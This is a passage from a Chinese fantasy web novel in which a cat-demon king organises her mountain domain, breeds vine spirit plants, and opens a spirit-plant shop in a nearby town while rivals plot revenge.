而她身上的封印,跟岭山深处的妖王封印,到底有什么渊源,又跟灵霄有没有关系 “我决定了!”衔蝉忽然站起来握拳:“我要去岭山深处!” 她要去看看那个妖王封印究竟是怎么个事! “不可啊大王!”白三姑急忙劝阻:“岭山深处大妖横行,贸然进去就是死路一条啊!” 衔蝉歪嘴一笑:“不,我才不会贸然进去。” 她想好了,她要努力修炼扩建地盘,一路打进去! 反正以后东坡子洞也会需要越来越多的地盘的嘛! 她马上要开辟灵植种植园,需要的新地盘是越多越好,那这不就是顺手的事! 只要稍稍修改一下打地盘的方向,一路打进岭山腹地就是了! 白三姑猛地松了口气。 “这样啊。” 她还以为衔蝉要一意孤行,独自|杀进危机重重的岭山深处呢。 只要不是那样,她就放心了。 至于衔蝉说的把地盘扩张到岭山深处去,白三姑权当是大王定下的激励大家的远大目标。 大家朝着这个方向努力就是了。 能不能成,那再两说。 “一定能成!”猫拍爪:“从现在就开始!” 猫像是打了鸡血一样站起来就往外走,并且召集大家在大广场上开了个大会。 “大家听我说!从现在起,我们要做大做强,再创辉煌!” 抬手压下大家雷鸣般的掌声,猫又道:“接下来,我们就要开始搞建设,谋发展!” 她叉着腰,开始分配任务。 “我准备在柿子山上重修矿场,从此以后,咱们山上的武器农具,咱们自己造!” 猫看向关衡:“关师傅,这些工作以后就交给你们了!” 关衡点头:“必不负大王重托。” 这些天她已经丝滑融入到了东坡子洞里,早已将自己也视作了东坡子洞的一员。 这里跟蝎子妖手下真的不一样。 在东坡子洞,关衡等人没有因为种族问题而受到任何歧视,反而还认识了许多率真纯粹的妖精朋友。 在这里,她们这些人类可以追求理想,谋求干一番事业,也可以回归田园,跟大家一起过日出而作日落而息的宁静生活。 她们还有工钱拿,每天的工作时间也只有四个时辰,每隔六天甚至还有一天假! 这样的工作,在山下打着灯笼都找不到。 所以关衡等人早就折服在衔蝉大王的猫爪治下,铁了心准备跟她干大事了。 东坡子洞要新修更大更安全更有效率的矿场,她们义不容辞! 衔蝉很高兴看到关师傅等人能自愿留下来,成为东坡子洞的一员。 于是她毫不客气的将矿场重任交托给了她们,并且还制定了长期计划。 “以后矿场就负责冶炼咱们所需的武器,农具,以及一切铜铁之类的物件儿。” “采石场那边也重新派人去修缮一下,务必要保障采石工的人身安全,工作时间也减一个时辰。” 因为采矿太耗体力了,需要多休息。 并且以后采矿成员要轮班来,还要设置绩效制度,谁采得多谁的奖金就多。 安排完矿场,衔蝉又安排灵植园。 灵植园她准备建在柿子山隔壁的几座山上。 “把那几座山上开垦出大片的梯田,再种满灵植!” 猫振臂一呼:“以后有了多多的灵植,每个人和每个妖都能分到灵植!” 灵植可是很有用的好东西。 妖吃了灵植能涨法力,人吃了灵植,有修为的涨修为,没修为的有病治病没病强身,说是灵丹妙药也不为过。 不过要种灵植,衔蝉就必须参与其中。 因为只有她亲手照料过的作物才能变成灵植。 到时候有几座山头的种植园,猫可有的忙了。 但也不至于没办法。 跟师尊学的撒豆成兵就很好用,猫努力修炼,一口气撒一堆豆子傀儡出来,不怕忙不过来。 反正豆子傀儡里充的都是她亲手输送的灵力,跟她本猫去了也没差。 灵植园的开荒和后期的管理,猫就直接撒手交给种田小队。 她只负责定期去给园里的灵植们撒灵力肥料,促进它们变异成灵植。 还有准备开在山下的灵植店也得准备起来。 店铺地址是现成的,就开在风府,让三参和她的物流小队下去先做店长和店员。 至于客源,有道是酒香不怕巷子深,衔蝉并不担心山上的灵植卖不出去。 还有安全问题。 现在山上有正儿八经的妖兵队伍了,安保一定也要拉满。 什么岗哨,瞭望塔,日常巡逻,该有的都必须有! 这方面玄蛛是专业的,直接把任务丢给她就行。 猫看向身姿笔挺的妖将:“玄蛛,以后山上的安防就交给你了!” 玄蛛抱拳领命:“得令!” 猫又叮嘱:“练兵也别停下,以后咱们还要继续打江山呢!” 衔蝉嘴一张又是一张溜圆的大饼:“等将来咱们地盘多了势力大了,大家都升职加薪,走上妖生巅峰指日可待!” 妖兵们眼睛一亮。 现在山上只有一位妖将,她们的上升空间很大啊! 众妖兵们越想越兴奋,有的甚至已经在想以后要跟自家主将平起平坐了。 玄蛛:“” 真当她不存在啊? 等这些家伙都当上妖将了,她难道不能再进一步,直接做个三军大统领? 还想挑战她的地位,真是胆肥了。 但现在大王还在呢,回去再削她们吧。 这边妖兵们个个跃跃欲试,那边衔蝉又安排了一串的任务下去。 新的粮仓,武器库,更多的宿舍,更大的食堂,更专业的授课班 还有更多的财务,文书,斥候,后勤,人事,基层管理 衔蝉一股脑的把自己从前在小说和电视里学到的管理方式都照搬到了东坡子洞。 一个古今结合,颇具赛博修仙风格的领导班子新鲜出炉。 山上的人和妖也都领到了新任务,一个个干劲十足。 衔蝉这个大会一开就开了一早上,开完会又跟三姑阿琅和三参玄蛛开小会,计划书写了几大篇出来。 “总之,一路打进大岭山,我是认真的!”猫坚定道。 白三姑阿琅三参玄蛛非常捧场的开始鼓掌。 “我们都相信大王!” 性格略臭屁的猫一下子挺直了脊背,非常沉稳地点了点头。 “叫胡图来一趟。” 今天刚升职成情报处处长的胡图昂首挺胸的进来了。 “大王!有什么吩咐吗?” 衔蝉递给胡图一卷白纸。 “从今天起,你们情报处要负责把山上山下的地图摸清,摸透。” “山下的平安镇,平安镇附近的几个城池,里面有多少凡人,多少降妖师,也要打听清楚。” “还要建立情报联络点,随时关注山下的情况。” 胡图激动站直:“得令!” 猫拍拍她的肩:“别急。还有山上。” “除了咱们家的山头,还有隔壁的山头,你们也要去摸清地形。” “哪里适合抢过来种地,哪里有矿可以开新的矿场,哪里地形易守难攻适合做要塞,都去摸一遍,画个地图出来。” “画好地图摸清情况后就回来报告给我,咱们一路往岭山里面打江山!” 胡图更激动了:“得令!!” 她腰杆笔直的拿着一卷白纸出去忙活了。 衔蝉又看向白三姑。 “三姑,咱们还需要更多的人手和妖手!” 白三姑点头:“明白,晚点我就去跟负责招募的妖谈谈。” 衔蝉:“嗯呐,你也可以提拔一些专管人事变动的手下,把这些工作移交下去。” 她是山上的内政大总管,没必要事事都亲力亲为。 白三姑心里一暖。 她知道衔蝉是在担心她累着。 但为山上出力,她甘之如饴。 她亲眼看着东坡子洞从一个又穷又苦的小山头一步一步发展成今天这样,心里的骄傲之情简直溢于言表。 这是她们的家啊。 阿琅和三参对此也十分感慨。 当初她们说要跟着衔蝉干大事,如今果然干成了! 而且这还不是终点,衔蝉还打算带着大家,一路把地盘打到岭山深处去! 岭山深处啊!那是什么地方! 现在的阿琅和三参已经不是当初懵懂没见识的小妖了,她们都知道打进岭山深处意味着什么。 那可是妖族曾经的王庭所在。 要是真能跟着衔蝉一路打过去,那岂不是就相当于重新一统妖族了?! 到时候,衔蝉登顶做真真正正的妖族之王,而她们,就是有从龙之功的开国老臣啊! 阿琅和三参越想越热血沸腾,恨不得马上就把衔蝉送上王座。 只是这种事情急不来。 衔蝉也知道这个目标定得有点大了,但猫没在怕的! 猫有的是力气和手段! “三参,今天你就选一批店员下山去吧,半个月内,我要看到我们的灵植店在山下开起来!” 三参跳起来:“得令!” 衔蝉又看阿琅:“阿琅,你在你手下派两个账房跟着三参,再给三参拨一笔流动资金。” 阿琅用力点头。 “玄蛛,你也从手下挑几个得力的妖兵,派给三参她们做安保。” “务必要保证灵植店的员工和财产安全!” 玄蛛颔首:“得令。” 猫坐在大厅首座上环视了一圈,然后拍爪,散会! 散会后,整个东坡子洞就像无数咬合的齿轮一样转动了起来。 三参当天就带着一队员工和保安,揣着银两下了山。 她们的任务是在半个月内,把灵植店给装修出来。 衔蝉不打算直接在风府里面开工,因此便让三参在风府大院外另请人修一间与院子连通的门面出来。 而她则要留在山上,赶在半个月内,种出第一批灵植来。 这样才能保证灵植店一开业就能有充足的货源。 有了详细的目标后,猫也忙了起来。 她亲自去监督开荒队伍,并且指挥大家在未来的种植园里给她留出一小块打坐修炼的地方。 以后她就可以直接在地里修炼,用她的神奇天赋促使灵植们快快生长。 藿麻也得放出来一起修炼。 还有她是不是应该再多契约一些本命灵植? 现在她只有一个藿麻可以用,虽然好用,但终究用途有点单一嘛。 藿麻用在进攻上完全没问题,用它擦胩都能擦死敌人,但在别的方面,它就没那么好用了。 猫需要一些更灵活,用处更多的本命灵植。 但是,要契约什么样的灵植呢? 想起藿麻被蝎子妖一扯就扯断一把的场景,衔蝉陷入沉思。 要不整点防御拉满的藤蔓好了。 保证比麻绳还结实,扯都扯不断的那种! 衔蝉站在正在开荒的园子里,摸着下巴思忖。 现在山上有什么藤蔓作物来着? 好像有南瓜藤,红薯藤。 这两种作物变异成灵植之后,会不会有她想要的效果呢? 说干就干,衔蝉撸起袖子,左手一颗南瓜籽,右手一颗红薯块,当场试验起来。 南瓜籽和红薯块飞快在衔蝉手里发芽,抽藤,不一会藤蔓就垂到了地上,然后主动的把根扎进了地里。 衔蝉松开手,蹲下来,把掌心按在地上,继续给南瓜藤和红薯藤灌注灵力。 她抽取了自己丹田里的灵力,非常认真的将两株藤蔓催生得生机勃勃。 猫还很有仪式感的念念有词:“无所不能的灵力啊,让这两株藤蔓都变得超级结实吧” 很快,南瓜藤和红薯藤就爬了满地,灵气也从它们身上散发出来。 猫成功的催生出两株变异成灵植的南瓜和红薯。 拍了拍手心的泥土,衔蝉兴致勃勃的伸手扯了扯两株藤蔓。 她先扯了一把红薯藤。 没扯动。 再用力一扯,红薯藤依旧坚~挺。 成功了! 它的藤蔓果然变得无比结实,能当绳子使了! 猫喜上眉梢,又去扯南瓜藤。 南瓜藤也很结实,而且瓜藤上还有一层细密的绒毛,扎得猫手心有点痛。 衔蝉抖了抖耳朵,松开南瓜藤。 张开手心一看,她手心已经被瓜藤上的毛扎红了。 不过南瓜藤没有毒,所以猫的手心很快就恢复了原状。 衔蝉盯着这株南瓜藤思考了一会。 然后决定,来都来了,两株一起契约了吧! 反正它俩的藤蔓都挺结实的。 红薯藤更柔韧一些,适合把敌人五花大绑,南瓜藤自带减弱祛毒版藿麻擦胩效果,适合做成牢笼困住敌人。 而且南瓜红薯都能吃,要是饿了还能掏出来解解馋。 猫越想越觉得有搞头,当场就将两株新生的灵植契约起来,收进丹田。 两株新的灵植进入丹田后,变异成绿芽的丹田又发生了一些变化。 衔蝉眼睁睁看着它又抽出了两片新叶子。 猫挠挠头。 她这丹田怎么也跟个灵植似的。 现在藿麻,红薯,南瓜各自占据了丹田的一部分,正好就在三片新叶子上。 绿芽状的丹田,现在就像一颗每片叶子上都垂下了一根藤藤的怪异植物。 但衔蝉感受了一下,自己非但没有任何不适,反而觉得神清气爽。 也就是说,这古怪的变异似乎对她是无害的。 独自琢磨了一会,衔蝉拍拍衣摆站起身。 只要是无害的就没事啦!至于别的,管它的呢! 有了新的本命灵植,衔蝉的修炼热情又高涨了不少,当即就盘膝在刚开垦出来的灵植园里,合眼修炼。 日光洒在猫身上,像是给她镀了一层金边,肉眼可见的灵力光点像飞蛾扑火一般朝她身体里涌去。 这梦幻又震撼的一幕,让正在开荒的小妖们不由得露出了敬畏的神色,纷纷放轻了脚步。 大王在这里修炼呢,她们可不能打扰了大王! 小妖们轻手轻脚的开垦着山间的土地,将原本曲折坎坷的山地渐渐改造成一块块平坦的梯田。 梯田之间还有夯实的泥土和新铺的青石板。 梯田不远处,一群化作原型的兔子妖,穿山甲妖等正在挥舞着爪子,在她们的努力下,一个巨大的堆肥坑逐渐成型。 堆肥坑旁边,还有一群正在修水渠的小妖。 从水渠望过去,还能看到远处正在一点一点拔地而起的新建筑。 那是未来的大粮仓,还有专门用来存放灵植的新仓库。 仓库附近还有更多的地基正在被夯实。 未来的武器库和巡逻岗哨也将修建在那里。 还有隔壁山上正在扩建矿场的,修冶炼炉的,搭牛棚羊圈的,挖河道引水的 一眼望去,每一座山上都忙得热火朝天。 * 距离柿子山足有上百里的坪石峰上,一群男妖正在赶路。 为首的,是一只触须都断了的蜈蚣妖。 蜈蚣妖的腰间,还坠着一块蝎子腰牌。 他身后,还有一大群神色或不忿或茫然或忐忑的男妖。 “先锋咱们究竟要去哪?”一个面色仓皇的男妖问道:“咱们已经赶了数日的路了,何时才能找到落脚之处?” 蜈蚣妖冷哼了一声。 “要是你们只想找个穷乡僻壤苟且偷生,现在就可以停下来,随便找个山头扯面旗帜做个下等妖王。” “但你们要是还有点上进心!就继续跟我走!” “我们去投奔雪狐族!” “雪狐族?那个曾经侍奉过妖王的雪狐族?” “侍奉什么妖王?咱们蝎子大王怎么没有那种侍奉他的整个妖族?” “嗐!我说的这个妖王可跟死了的蝎子大王不一样,当年她还在的时候,整个妖族,只有她一个王!” “你是说,岭山之主?” “没错!就是岭山之主,妖族之王!” “可是,她不是已经” “你懂个屁!妖王陛下只是被可恶的人族偷袭封印了,又不是死了!” “这大岭山里,还有许多从前妖王的麾下,在等着她冲破封印出关呢!” “妖王陛下出关,跟咱们去投奔雪狐族有什么关系?” “蠢货!雪狐族曾经侍奉过妖王陛下,如今依然也是大岭山里数得上号的大族!” “咱们过去投奔,一来能请动雪狐一族为蝎子大王报仇雪恨,二来也能赶在妖王出关前,在她扈从麾下混个好位置!” “吔?妖王陛下要出关的消息,是真的啊?” “怎么不真!前些日子封印都松动了多少回了!咱们的陛下,终于又要回来了!” 蜈蚣妖越说越激动。 “待妖王陛下归位,咱们妖族又可扬眉吐气了!” “到时候,咱们再使些力气,叫那羞辱我等,与人族勾结的衔蝉大王死无葬身之地!” 第79章 蜈蚣妖的一番话, 说得众男妖无不心潮澎湃。 在场的每一个男妖,都在心里憋了一口气,当日在衔蝉大王手下受到的侮辱, 他们一定要报复回去! 既然她不肯收下他们, 那他们就给她点颜色看看! 这大岭山里又不是只有她一个厉害妖,往岭山深处走, 多得是真正厉害的大妖! 比如蜈蚣妖说的雪狐族,就是岭山里颇有势力的大妖族。 而且这雪狐一族还与蝎子妖有旧。 据说当年蝎子妖跟雪狐一族里的某个大狐狸拜过把子, 因此才能在雪狐族的领地附近霸占洞府。 从柿子山开始算起,再往北走上百里,就到了雪狐族的地盘。 中间这空着的百来里领地,虽然时常有末流妖王争夺,但实际上依然从属于雪狐族。 不过由于这片地盘已经接近岭山外围了, 土地又比较贫瘠,因此雪狐族也不大在意这一片地。 但不在意归不在意,雪狐族对这一块地的掌控力还是很强的。 在蝎子妖来之前,占据着柿子山的黑獾,蛮牛等,都得定期向雪狐族上贡呢。 这样他们才能安安稳稳的住在雪狐族看不上的“家门外”, 勉强算是雪狐族的扈从。 蝎子妖的情况又不一样。 他仗着跟他把兄弟的关系, 直接占了这块便宜。 所以蝎子妖身死后,蜈蚣妖等男妖第一个想到的就是去投奔雪狐族。 诚然, 雪狐族也未必看得上他们,但蜈蚣妖心里早有算计。 他带着一众男妖跋涉数日,终于到了雪狐族的地盘上。 看着坐落在山间的高耸的城墙,和随处可见的哨塔,雪狐旗帜, 蜈蚣妖深吸了一口气。 他扬起讨好的笑容,给守门妖塞了一颗从金蟾那得到的下品灵丹。 “兄台,我们是蝎子大王的部下,有要事求见胡二长老,还请帮忙通传一下。” 说着,又扬了扬腰间的蝎子腰牌。 守门妖收了灵丹,又瞧了瞧蜈蚣妖的腰牌,咧开嘴角,露出满口獠牙笑了起来。 “知道了,等着吧!” 他转身跟一同守门的同僚说了几句什么,然后叫他帮忙暂时替了自己的岗位,自己则去帮蜈蚣妖通传了。 不久后,蜈蚣妖一行被带到了一座富丽堂皇的洞府中。 堆金砌玉的洞府里铺着华丽的皮草,最中央的座椅上,赫然坐着一只通体雪白的大狐狸。 这大狐狸眯着狭长的双眼,睨了一眼蜈蚣妖。 “我那二弟派你们来作甚?可是又得了好东西,要与为兄的同享?” 蜈蚣妖扑通一声就跪了下去。 他扯着嗓子干嚎起来:“胡二长老!我家大王,他死得好惨呐!” 胡二一惊,眼睛都睁开了一丢丢:“什么?!我二弟死了?!是谁杀的他?!” 蜈蚣妖就一五一十的道来:“是个女妖王,唤作衔蝉的!” “她好险恶的心思,竟偷袭我家大王,不仅要了我家大王的性命,还夺了他的宝镜!” 胡二更惊:“我二弟的宝镜也被夺了?!” 他豁然站起来:“不可能!绝不可能!你这厮定是在胡说!” “我二弟那宝镜能辩毒能护主,连我也奈何它不得,一个末流女妖如何能夺走它?!” 蜈蚣妖嚎啕:“胡二长老有所不知,那衔蝉妖王可不是什么末流女妖,如今名声大着呢!” “据说她跟脚是个猫妖,也不知是哪路大妖来的,不到一年间,就将岭山南边那一片穷山变得好生富裕辉煌!” “她占了南边数座山头,又与人族勾结,势力一天比一天大!” “偏她又野心勃勃,占了那么多山头还不知足,还要来偷袭我们大王!” “可怜我们蝎子大王,一时不察,竟叫她得了手,丢了宝贝又丢命!” “求胡二长老看在与我们大王往日的情分上,发兵攻打柿子山,为我们大王报仇雪恨吧!” 胡二一顿。 他化作人形,是个有一把白须的干瘦老男人。 捋了捋长长的白胡子,胡二问道:“那衔蝉有何本事?是如何夺了宝镜去的?” 蜈蚣妖恨恨道:“她也没有多少真本事!要不是她使计偷袭,我们大王断不会败!” 却绝口不提蝎子妖是如何被藿麻缠住,又被宝镜反噬的。 因为他担心将衔蝉的本事说大了,胡二就不肯发兵为他们出气报仇了。 胡二却不傻。 他知道蝎子妖的宝镜的厉害,要不是因为这,他哪能跟一个“乡下妖”结拜做把兄弟。 而能夺走宝镜的妖,恐怕实力还在他之上。 因此,这事他得慎重考虑。 毕竟整个雪狐族并不是他一个说了算,要发兵也得先请示族长。 可族长近来又有要事,不在族中。 要是单凭胡二自己,想要把蝎子妖的宝镜抢回来,怕是有点难。 何况胡二觊觎那宝镜已久,不想叫宝镜落在别的狐狸手里。 所以,他得想个法子,既要拿到宝镜,又要叫宝镜落到自己口袋里。 来回踱步几圈,胡二心里闪过许多念头。 “此事需要从长计议。”胡二拈着胡子,挥手将蜈蚣妖一行先打发了出去。 蜈蚣妖倒也没多纠缠,乖乖的先下去歇着了。 他知道,胡二虽然犹豫,但一定舍不下宝镜的。 顶多再犹豫个几天,他就会想明白的。 发兵动的是雪狐族的势力,但得到了宝镜,升的可就是胡二自己的实力啊。 所以蜈蚣妖将消息递到了胡二面前,就已经十拿九稳了。 他自己知道自己没本事保住宝镜,只要能以宝镜为饵,哄得胡二发兵攻打衔蝉,替他出了被羞辱的恶气,他就心满意足了。 * 柿子山。 衔蝉在新开垦出来的灵植园里修炼了好几天。 这几天,山上的变化可大了。 无数新的建筑田地河道被修了出来,让原本在蝎子妖手下跟原始森林一样的山头变成了一望无际的良田沃野。 猫还又派人去山下请了人类来修桥铺路,把新打下来的几座山也连接在了一起。 现在山上人手妖手都足得很,效率那叫一个高。 因此只短短几天过去,柿子山等几个山头就大变样了。 衔蝉规划的各种新部门也走上了正轨。 矿场修整好后,新一批的武器,在关师傅等人的努力下新鲜出炉。 妖兵们都换上了更加精良的刀剑。 新的盔甲也正在打造中。 还有更多源源不断的武器从冶炼场里产出。 这时山上的第二次大基建也完成得差不多了。 于是衔蝉便下令,扩充妖兵队伍! 她不仅要选拔更多的妖兵妖将出来,还要让山上的大家全都将战斗力提升起来! 最理想的状态,是大家下田能耕,上马能战,关键时刻谁都能拿起武器保卫家园! 小妖们分到了武器,又有像玄蛛这样厉害的大妖指点着修炼,一个个欢喜得跟什么似的。 刚从地里回来就分到了一把刀的白果笑得眼睛都弯了。 “大王,您放心,我们一定认真修炼,学本事,守好咱们的家!” 灰绒也抱着自己的新刀连连点头:“以后咱们有本事了,谁想霸占咱们的家,咱们就跟他拼了!” 曾经她们在大妖面前毫无还手之力,只能忍受欺压和侮辱,但现在不一样了! 现在她们跟着大王吃得饱穿得暖,浑身都有力气了,胆子也大了! “我要跟着大将军好好学本事,以后谁要是敢踩我种的粮食,我就拿刀砍他!”白果握紧手里的刀。 衔蝉拍拍白果的肩:“没错!就是要这样!” “谁敢踩咱们的地,咱们就把谁种进地里!” 白果重重的点头。 小妖们也涌起了一股豪情壮志,纷纷表示要拿起武器,守护家园! 见大家都斗志昂扬,衔蝉十分满意。 当然,作为大王,她也要以身作则。 于是猫转头,比大家更刻苦的修炼起来。 她每天都去地里吸收日月精华,再将日光月光中的灵气过滤一遍,输送给地里的作物们。 在这个过程中,她的经脉逐渐被拓宽,一次能吸收过滤的灵气也越来越多。 她的丹田苗苗也在反复的灵气冲刷中越长越绿,越长越高,能储存的灵力也越来越多,越来越扎实。 跟本命灵植一起待在丹田里的小八卦镜也得到了滋养,灵光越发的璀璨。 猫还特意拿它出来试验了一下。 这个镜中镜果然已经认她为主了,不管别人怎么嗷都没有反应,只有她才能控制它。 衔蝉还突发奇想,把镜中镜跟碎了的八卦镜放在一起,又把八卦镜粘了回去。 重新粘合好的八卦镜恢复了开启功能,又可以用那简短的咒语唤醒它了。 不过只要镜中镜一离开,它马上又会碎成好几块。 但猫发现,碎掉的八卦镜,她依然可以操控。 而且每一片八卦镜碎片里都有一小片废墟空间,也能拿去装东西! 更厉害的是,八卦镜的碎片空间好像还跟她的镜中镜空间是可以连通的! 衔蝉放在镜中镜里的东西,可以随时转移到八卦镜的废墟空间里! 反之,放在八卦镜的废墟空间里的东西,衔蝉也能随时从镜中镜里伸手取出来。 猫一下子就发现了新大陆。 她脑子一转,将八卦镜碎片分给了白三姑,阿琅,三参,还给师尊和风妧也留了一片。 然后又控制镜中镜,给八卦镜设置了“语音口令”。 口令还是嗷的一声,但只有衔蝉提前录过音的白三姑等妖才能开启八卦镜碎片里的废墟空间。 除了她们以外,任凭谁嗷坏了嗓子,八卦镜也不会响应。 这样以后山上的重要物资库存就可以通过八卦镜和镜中镜及时流通了。 将来灵植店开起来了,运送货物和别的物资的时效性和安全性都大大提升。 唯一可惜的是八卦镜原本可以吸收别人修为的“功能”没有了。 但猫想得很开,没有就没有了吧,能当随身空间用也很好了! 至于对敌什么的,她自己努力修炼,到时候一猫爪打掉敌人的狗头不就行了! 这么一想,本就修炼勤勉的猫更是没日没夜的提升法力和修为。 有风朔给她留下的“家庭作业”和打下的修炼基础,猫的修为也蹭蹭上涨。 她感觉现在的自己,可以暴打十个曾经的自己! 浑身充满力量的感觉让猫十分着迷,一天到晚都在地里哼哧哼哧修炼,豆子傀儡跑得满山都是。 在她的努力下,灵植园里刚种下的作物们也沾了光,飞快的拔高抽条,一天一个样。 几天后,第一批富含灵气的菜蔬就可以收获了。 这一批灵果灵菜,衔蝉大手一挥,全部拿去给大家加餐了。 一顿灵气四溢的大锅饭,吃得山上所有成员都两眼放光。 连玄蛛都惊了。 还真是灵植啊?! 她看向衔蝉的目光越发的敬畏。 自家大王,实力深不可测啊。 看来她得在东坡子洞做一辈子的大将军了。 但这也挺好的。 玄蛛对现在的生活很满意。 东坡子洞的伙食相当好,而且除了不能随意杀人杀妖之外,玄蛛几乎没有受到任何束缚。 衔蝉给了她相当大的权力,还给她预支了薪水,让见过了不少好东西的玄蛛都感慨不已。 这倒戈倒得值啊! 吃着花银子在山下请的厨娘在小灶里做出来的美味灵力餐,玄蛛觉得,妖生都圆满了。 吃完这份灵力餐,她起码有双倍的力气可以去操练那些妖兵和小妖了! 尤其是那些胆大包天的家伙,不给她们练得嗷嗷叫,这段饭都算是白吃了! 于是不久后,一阵又一阵的哀嚎声接连响起。 这样的哀嚎声,山上的大家都听习惯了。 自从玄蛛上任后,天天都能听到这样的声音。 那些原本就在她手下的妖兵还好,早就被练习惯了,但白果等小妖就苦了,每天都被练得死去活来。 但实力也在飞速上涨,痛并快乐着。 现在东坡子洞里几乎没有不能化形的妖了。 而且随便挑一个妖出来,即便本身原型没什么攻击性的,也能抄起大刀挥得虎虎生风。 就这样,大家轮换着操练耕和战,整体战斗力齐齐拔高了一大截。 在威风凛凛的猫头旗帜下,脱胎换骨的小妖们从内到外的焕然一新。 不久后,山下的好消息也传来了。 灵植店的门面装修好了,随时可以开业! 三参发来传讯纸鹤,给衔蝉报告了这个好消息。 衔蝉大喜,连忙把仓库里收的第二批灵植往镜中镜里塞。 一边塞,一边让阿琅拿着册子登记。 登记好数量种类后,衔蝉心念一动,三参那边的八卦镜碎片空间里就多出了一大堆灵植。 三参拿着一本账册,嗷了一声,走进废墟空间里。 这里面的巨剑和锁链依然存在,但三参目不斜视的从巨剑下走了过去。 在巨剑不远处,一座由灵植堆积起来的小山正在熠熠生辉。 三参扒拉着灵植山,然后在册子上刷刷计数。 数量都清点对上后,三参又嗷了一声,把废墟空间里的灵植往外搬。 灵植店里的跑堂妖文书妖账房妖等成员撸起袖子,把灵植一一摆放到货架上。 货架摆满后,三参踌躇满志的一挥手。 “开业!剪彩!” 众妖欢呼一声,推开店铺大门,门外早已站满了或好奇或期待的平安镇百姓们。 这些天大家看着灵植店一点一点被修起来,心里痒痒得像猫抓似的。 因为三参无师自通了营销之路,老早就在镇上放了消息,说她们马上要开一家灵植店! 这时候就有人问了,什么是灵植? 三参就神秘兮兮的告诉大家,就是吃下去有病治病没病强身的好东西! “我们以前的山货摊子上的东西,大家都记得吧?” 老顾客们纷纷点头。 那真的是好东西啊,又好吃,吃完身上又暖呼呼的,感觉浑身力气都更足了! “我女儿以前身体一直不好,但吃了几回我买回去的南瓜干后,老毛病都好了!比药还好使!” “可不是么!我娘年纪大了,吃东西都难,但我在摊子上买了红薯干给她煮粥,她一次能吃两碗!” “还有那桃子!上回给我姥带了几个去,她老人家吃了就说甜得很,又不费牙,让我多买些去呢!” 一说起山货摊子上的好东西,老顾客们就有说不完的话。 还有人喜滋滋的说自己老早就觉得这些东西不是凡品了。 “当时我就心想,这莫不是仙草仙药?如今看来,果不其然!” “原来这就是灵植啊,难怪那么好吃,吃了身体又好!” “只可惜后来小老板们好久都没出摊了,我真是惦记得很呐!” 当时因为林时的缘故,山货小摊关停了许久。 摊子上的老顾客们对此扼腕不已。 她们其实并不在意三参她们是不是妖。 因为相处这么久了,大家也都知道她们的品行如何,即便她们是妖,那也不是什么坏妖。 她们摊子上的东西也的确是好东西。 所以那时候衔蝉她们被点破了身份,大家依然愿意站出来为她们作保。 事实证明她们没做错。 连风大人都认了小老板们做徒儿,这不更说明了她们是好妖嘛? 于是乎,后来一听到三参放出的消息,说她们要在镇上重新开店,老顾客们便坐不住了。 她们时不时就来围观一下店铺装修的进度,还问三参几时开业? 三参就说了开业时间,还提前请了几位老顾客来帮店里剪彩。 收到邀请的萧慧,苗大娘,肉铺掌柜等几人都很惊喜。 虽然不知道这个剪彩的习俗从何而来,但她们都很乐意做店铺开业的特邀嘉宾。 不过除了她们之外,平安镇上的其余人都对这家即将开业的小店还在观望中。 大部分人,心里对妖还是有些偏见的。 尤其是前些日子平安镇上才来了恶妖,险些闹出人命。 虽然那恶妖跟三参她们并无关系,但难免有人会因为种族之见迁怒她们。 因此,平安镇上,对灵植店抱有恶意的人,也不少。 只是灵植店就开在风府门口,暂时没什么人敢堂而皇之的去闹事,只能怀着恶意,盼着这家小店开不起来。 可他们的愿望落了空。 灵植店在锣鼓鞭炮声中剪彩开业了。 萧慧放下剪刀的第一件事,就是转身进店,指着货架上的几种药材:“这个这个还有这个,各给我来十两!” 苗大娘也不甘落后:“三参啊,南瓜干红薯干嫩玉米都给我来二斤!” 三参和众小妖笑嘻了:“好嘞!” 货架上摆出来的,都是曾经在摊子上卖过的山货,品质也跟之前大差不差。 因为以前衔蝉的法力修为都不如现在,催生出的作物灵气含量也没有如今的那么多。 所以这些在灵植园边缘产出的作物,和以前摊子上的山货质量差不多。 价格也和以前一样。 三参和小妖们麻利的给第一批进来给她们捧场的老顾客打包好了山货。 老顾客们拿着久违了的上等山货,喜笑颜开。 她们笑得太真情实感,又吸引了一些在犹豫观望的新顾客。 然而就在此时,三参叉起了腰。 她指着一个正要买桃子的男人:“你先等等!这个桃子一百文一斤!你确定要买吗?” 男人的脸色一下子就垮了下来:“什么?!刚刚她们买的时候不还是十文钱一斤吗?” 他嚷嚷起来:“你们凭什么胡乱喊价!欺负人么!” 三参却哼了一声:“别以为我不记得你!你说过我们的坏话!” 她大声宣布:“以后我们店里的东西,老顾客都可以原价买,说过我们坏话的人,要出十倍价钱才能买!” “尤其是那些点过火把,想要烧我们风妧和阿琅的坏蛋,十倍价钱我们也不卖东西给你们!” 男人一听,顿时恼羞成怒。 他确实说过这些女妖的坏话,但她们怎么能这样! “哼!不买就不买,真当你们的东西有多稀罕似的!” 他说着就要伸手去推三参。 但门口抱着刀的妖兵立刻闪身过来,拇指顶开刀柄,刀身上的寒光立刻出鞘。 男人被吓了一跳,连忙收手。 “什么灵植,都是骗人的把戏!” “找几个女人来演戏就想高价骗钱,什么玩意儿!呸!” 男人骂骂咧咧的走了。 三参却一句也不挽留他,而是继续大声说:“我们店里的规矩就是这样,爱买不买!” 顿时人群里就响起了许多议论声。 不久后,男人们几乎都走光了。 因为他们自己做过的事情自己清楚,心里发虚。 倒也不是没人想趁机闹事,但看着守在门口的妖兵,他们又只好把话咽了回去。 店门口瞬间清净了不少。 剩下的人要么是以前摊子上的老顾客,要么是对灵植感兴趣的新顾客。 她们都是可以原价购买店里灵植的人。 男人们走了,她们反而能更顺利的进店买东西,不至于被挤到边边上进不了门了。 这时三参又收起了叉腰的手,恢复了平日里笑嘻嘻的样子。 “欢迎大家进店选购!除了货架上这些普通灵植,我们还有更多效力更强的高级灵植喔!” 第80章 “高级灵植?”顾客们十分吃惊。 她们本来以为货架上这些山货就已经很好了, 没想到还有更好的? “当然!”三参骄傲挺胸:“高级灵植,全都是我们大王亲手培植出来的!” “跟我们用灵力肥料种出来的灵植不一样,大王亲手培植出来的灵植, 可以涨法力的喔!” “什么?!还能涨法力?” 有顾客顿时睁圆了眼睛:“我们这样的凡人, 吃下高级灵植,也能像你们一样有法力?” 三参点点头又摇摇头。 “嗯凡人的话我不清楚, 但是我们妖或者降妖师吃了是可以涨法力的。” “你们没有修炼过,没有法力可以涨, 但涨点力气应该不成问题。” 三参想了想,从柜台里取出一个小罐子。 